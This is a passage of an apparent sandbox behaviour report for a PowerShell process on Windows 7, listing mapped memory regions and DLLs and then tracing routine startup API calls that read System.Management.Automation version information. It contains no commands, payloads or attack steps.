0x7fef36adfff entry_point = 0x7fef3670000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll") Region: id = 1203 start_va = 0x1b880000 end_va = 0x1b8d3fff entry_point = 0x1b880000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 1204 start_va = 0x7fee2eb0000 end_va = 0x7fee3044fff entry_point = 0x7fee2eb0000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll") Region: id = 1205 start_va = 0x7fee3050000 end_va = 0x7fee31bbfff entry_point = 0x7fee3050000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll") Region: id = 1206 start_va = 0x7fee31c0000 end_va = 0x7fee3864fff entry_point = 0x7fee31c0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 1207 start_va = 0x7fef7a80000 end_va = 0x7fef7a86fff entry_point = 0x7fef7a80000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 1208 start_va = 0x1f20000 end_va = 0x1f20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 1209 start_va = 0x2300000 end_va = 0x2310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002300000" filename = "" Region: id = 1210 start_va = 0x7fee2d20000 end_va = 0x7fee2ea3fff entry_point = 0x7fee2d20000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 1211 start_va = 0x7ff001a0000 end_va = 0x7ff001affff entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 1212 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 1213 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 1214 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 1215 start_va = 0x7ff001e0000 end_va = 0x7ff001effff entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 1216 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 1217 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 1218 start_va = 0x7fefd1d0000 end_va = 0x7fefd1dafff entry_point = 0x7fefd1d0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1219 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 1220 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 1221 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 1222 start_va = 0x7fefd200000 end_va = 0x7fefd224fff entry_point = 0x7fefd200000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1223 start_va = 0x1b8e0000 end_va = 0x1b9dffff entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 1224 start_va = 0x2320000 end_va = 0x2320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002320000" filename = "" Region: id = 1225 start_va = 0x1b9e0000 end_va = 0x1bcdefff entry_point = 0x1b9e0000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1226 start_va = 0x7fee24d0000 end_va = 0x7fee2d1afff entry_point = 0x7fee24d0000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll") Region: id = 1227 start_va = 0x7fefd3e0000 end_va = 0x7fefd3eefff entry_point = 0x7fefd3e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1228 start_va = 0x7fefd5a0000 end_va = 0x7fefd706fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1229 start_va = 0x7fefd920000 end_va = 0x7fefd96cfff entry_point = 0x7fefd920000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1230 start_va = 0x7fefe380000 end_va = 0x7fefe387fff entry_point = 0x7fefe380000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1231 start_va = 0x7ff00240000 end_va = 0x7ff0024ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00240000" filename = "" Region: id = 1232 start_va = 0x7ff00250000 end_va = 0x7ff0025ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00250000" filename = "" Region: id = 1233 start_va = 0x2330000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 1234 start_va = 0x2810000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 1235 start_va = 0x2820000 end_va = 0x282ffff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 1236 start_va = 0x2830000 end_va = 0x283ffff entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 1237 start_va = 0x7ff00260000 end_va = 0x7ff0026ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00260000" filename = "" Region: id = 1238 start_va = 0x7ff00270000 end_va = 0x7ff0027ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00270000" filename = "" Region: id = 1239 start_va = 0x7ff00280000 end_va = 0x7ff0028ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00280000" filename = "" Region: id = 1240 start_va = 0x1bcf0000 end_va = 0x1c67ffff entry_point = 0x0 region_type = private name = "private_0x000000001bcf0000" filename = "" Region: id = 1241 start_va = 0x7fee2380000 end_va = 0x7fee24c2fff entry_point = 0x7fee2380000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 1242 start_va = 0x7ff00290000 end_va = 0x7ff0029ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00290000" filename = "" Region: id = 1243 start_va = 0x7fffff0e000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff0e000" filename = "" Region: id = 1244 start_va = 0x7fef4b60000 end_va = 0x7fef4b7bfff entry_point = 0x7fef4b60000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1245 start_va = 0x7fef4b80000 end_va = 0x7fef4be1fff entry_point = 0x7fef4b80000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1246 start_va = 0x7fefb300000 end_va = 0x7fefb310fff entry_point = 0x7fefb300000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1247 start_va = 0x7fefcbd0000 end_va = 0x7fefcc24fff entry_point = 0x7fefcbd0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1248 start_va = 0x1c680000 end_va = 0x1c7cffff entry_point = 0x0 region_type = private name = "private_0x000000001c680000" filename = "" Region: id = 1249 start_va = 0x7fefc5d0000 end_va = 0x7fefc5d6fff entry_point = 0x7fefc5d0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1250 start_va = 0x7fefcbc0000 end_va = 0x7fefcbc6fff entry_point = 0x7fefcbc0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1251 start_va = 0x29a0000 end_va = 0x29bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029a0000" filename = "" Region: id = 1252 start_va = 0x1c820000 end_va = 0x1c89ffff entry_point = 0x0 region_type = private name = "private_0x000000001c820000" filename = "" Region: id = 1253 start_va = 0x7fefa260000 end_va = 0x7fefa2c3fff entry_point = 0x7fefa260000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1254 start_va = 0x7fefa2d0000 end_va = 0x7fefa340fff entry_point = 0x7fefa2d0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1255 start_va = 0x7fffff0c000 end_va = 0x7fffff0dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0c000" filename = "" Region: id = 1256 start_va = 0x1c690000 end_va = 0x1c70ffff entry_point = 0x0 region_type = private name = "private_0x000000001c690000" filename = "" Region: id = 1257 start_va = 0x1c750000 end_va = 0x1c7cffff entry_point = 0x0 region_type = private name = "private_0x000000001c750000" filename = "" Region: id = 1258 start_va = 0x7fefae00000 end_va = 0x7fefae26fff entry_point = 0x7fefae00000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1259 start_va = 0x7fffff0a000 end_va = 0x7fffff0bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0a000" filename = "" Region: id = 1260 start_va = 0x7fefadf0000 end_va = 0x7fefadfafff entry_point = 0x7fefadf0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1261 start_va = 0x7fefac60000 end_va = 0x7fefac70fff entry_point = 0x7fefac60000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1262 start_va = 0x7fefac40000 end_va = 0x7fefac57fff entry_point = 0x7fefac40000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1263 start_va = 0x7fefc830000 end_va = 0x7fefc839fff entry_point = 0x7fefc830000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1264 start_va = 0x1c8e0000 end_va = 0x1c95ffff entry_point = 0x0 region_type = private name = "private_0x000000001c8e0000" filename = "" Region: id = 1265 start_va = 0x7fefca50000 end_va = 0x7fefcaaafff entry_point = 0x7fefca50000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1266 start_va = 0x7fffff08000 end_va = 0x7fffff09fff entry_point = 0x0 region_type = private name = "private_0x000007fffff08000" filename = "" Region: id = 1267 start_va = 0x1c960000 end_va = 0x1cb7ffff entry_point = 0x0 region_type = private name = "private_0x000000001c960000" filename = "" Region: id = 1268 start_va = 0x7fef9570000 end_va = 0x7fef9577fff entry_point = 0x7fef9570000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1269 start_va = 0x7fefaca0000 end_va = 0x7fefacf2fff entry_point = 0x7fefaca0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1270 start_va = 0x1c960000 end_va = 0x1ca2ffff entry_point = 0x0 region_type = private name = "private_0x000000001c960000" filename = "" Region: id = 1271 start_va = 0x1cb00000 end_va = 0x1cb7ffff entry_point = 0x0 region_type = private name = "private_0x000000001cb00000" filename = "" Region: id = 1272 start_va = 0x2330000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 1273 start_va = 0x2810000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 1274 start_va = 0x2820000 end_va = 0x282ffff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 1275 start_va = 0x2830000 end_va = 0x283ffff entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 1276 start_va = 0x2840000 end_va = 0x2840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002840000" filename = "" Region: id = 1277 start_va = 0x516f00000 end_va = 0x516fc5fff entry_point = 0x516f00000 region_type = mapped_file name = "diasymreader.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\diasymreader.dll") Region: id = 1278 start_va = 0x29c0000 end_va = 0x29cffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 1279 start_va = 0x7ff002a0000 end_va = 0x7ff002affff entry_point = 0x0 region_type = private name = "private_0x000007ff002a0000" filename = "" Region: id = 1280 start_va = 0x29d0000 end_va = 0x29d3fff entry_point = 0x29d0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1281 start_va = 0x1cbe0000 end_va = 0x1cc5ffff entry_point = 0x0 region_type = private name = "private_0x000000001cbe0000" filename = "" Region: id = 1282 start_va = 0x7ff002b0000 end_va = 0x7ff002bffff entry_point = 0x0 region_type = private name = "private_0x000007ff002b0000" filename = "" Region: id = 1283 start_va = 0x7fffff06000 end_va = 0x7fffff07fff entry_point = 0x0 region_type = private name = "private_0x000007fffff06000" filename = "" Region: id = 1284 start_va = 0x7fefd990000 end_va = 0x7fefdb07fff entry_point = 0x7fefd990000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1285 start_va = 0x7fefe390000 end_va = 0x7fefe4b9fff entry_point = 0x7fefe390000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1286 start_va = 0x7fefe630000 end_va = 0x7fefe888fff entry_point = 0x7fefe630000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1287 start_va = 0x2a60000 end_va = 0x2a60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a60000" filename = "" Region: id = 1348 start_va = 0x1cd00000 end_va = 0x1d68ffff entry_point = 0x0 region_type = private name = "private_0x000000001cd00000" filename = "" Region: id = 1349 start_va = 0x7ff002c0000 end_va = 0x7ff002cffff entry_point = 0x0 region_type = private name = "private_0x000007ff002c0000" filename = "" Region: id = 1350 start_va = 0x7fffff06000 end_va = 0x7fffff07fff entry_point = 0x0 region_type = private name = "private_0x000007fffff06000" filename = "" Thread: id = 78 os_tid = 0xb5c [0058.549] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0058.771] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0058.771] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0058.771] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0058.771] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0059.195] GetVersionExW (in: lpVersionInformation=0x27db40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x27db40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.196] GetVersionExW (in: lpVersionInformation=0x27db40*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x27db40*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.205] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.205] GetVersionExW (in: lpVersionInformation=0x27d8b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x27d8b0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.205] SetErrorMode (uMode=0x1) returned 0x1 [0059.206] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x27da10 | out: lpFileInformation=0x27da10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0059.206] SetErrorMode (uMode=0x1) returned 0x1 [0059.212] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x27dc80 | out: lpdwHandle=0x27dc80) returned 0x94c [0059.219] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c170d8 | out: lpData=0x2c170d8) returned 1 [0059.221] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27dbf8, puLen=0x27dbf0 | out: lplpBuffer=0x27dbf8*=0x2c17174, puLen=0x27dbf0) returned 1 [0059.222] lstrlenW (lpString="䅁") returned 1 [0059.232] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c17250, puLen=0x27db60) returned 1 [0059.233] lstrlenW (lpString="Microsoft Corporation") returned 21 [0059.234] CoTaskMemAlloc (cb=0x2e) returned 0x189630 [0059.234] lstrcpyW (in: lpString1=0x189630, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0059.234] CoTaskMemFree (pv=0x189630) [0059.234] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c172a4, puLen=0x27db60) returned 1 [0059.234] lstrlenW (lpString="System.Management.Automation") returned 28 [0059.234] CoTaskMemAlloc (cb=0x3c) returned 0x11b330 [0059.234] lstrcpyW (in: lpString1=0x11b330, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0059.234] CoTaskMemFree (pv=0x11b330) [0059.234] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c17300, puLen=0x27db60) returned 1 [0059.234] lstrlenW (lpString="6.1.7601.17514") returned 14 [0059.234] CoTaskMemAlloc (cb=0x20) returned 0x18a580 [0059.234] lstrcpyW (in: lpString1=0x18a580, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0059.234] CoTaskMemFree (pv=0x18a580) [0059.234] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c17340, puLen=0x27db60) returned 1 [0059.234] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0059.235] CoTaskMemAlloc (cb=0x44) returned 0x11b330 [0059.235] lstrcpyW (in: lpString1=0x11b330, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0059.235] CoTaskMemFree (pv=0x11b330) [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c173a8, puLen=0x27db60) returned 1 [0059.235] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0059.235] CoTaskMemAlloc (cb=0x76) returned 0x1235b0 [0059.235] lstrcpyW (in: lpString1=0x1235b0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0059.235] CoTaskMemFree (pv=0x1235b0) [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c17444, puLen=0x27db60) returned 1 [0059.235] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0059.235] CoTaskMemAlloc (cb=0x44) returned 0x11b330 [0059.235] lstrcpyW (in: lpString1=0x11b330, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0059.235] CoTaskMemFree (pv=0x11b330) [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c174a8, puLen=0x27db60) returned 1 [0059.235] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0059.235] CoTaskMemAlloc (cb=0x58) returned 0xea8b0 [0059.235] lstrcpyW (in: lpString1=0xea8b0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0059.235] CoTaskMemFree (pv=0xea8b0) [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c17524, puLen=0x27db60) returned 1 [0059.235] lstrlenW (lpString="6.1.7601.17514") returned 14 [0059.235] CoTaskMemAlloc (cb=0x20) returned 0x18a580 [0059.235] lstrcpyW (in: lpString1=0x18a580, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0059.235] CoTaskMemFree (pv=0x18a580) [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x2c171cc, puLen=0x27db60) returned 1 [0059.235] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0059.235] CoTaskMemAlloc (cb=0x66) returned 0x11cdc0 [0059.235] lstrcpyW (in: lpString1=0x11cdc0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0059.235] CoTaskMemFree (pv=0x11cdc0) [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x0, puLen=0x27db60) returned 0 [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x0, puLen=0x27db60) returned 0 [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x27db68, puLen=0x27db60 | out: lplpBuffer=0x27db68*=0x0, puLen=0x27db60) returned 0 [0059.235] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27db38, puLen=0x27db30 | out: lplpBuffer=0x27db38*=0x2c17174, puLen=0x27db30) returned 1 [0059.236] CoTaskMemAlloc (cb=0x204) returned 0x13d770 [0059.236] VerLanguageNameW (in: wLang=0x0, szLang=0x13d770, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0059.237] CoTaskMemFree 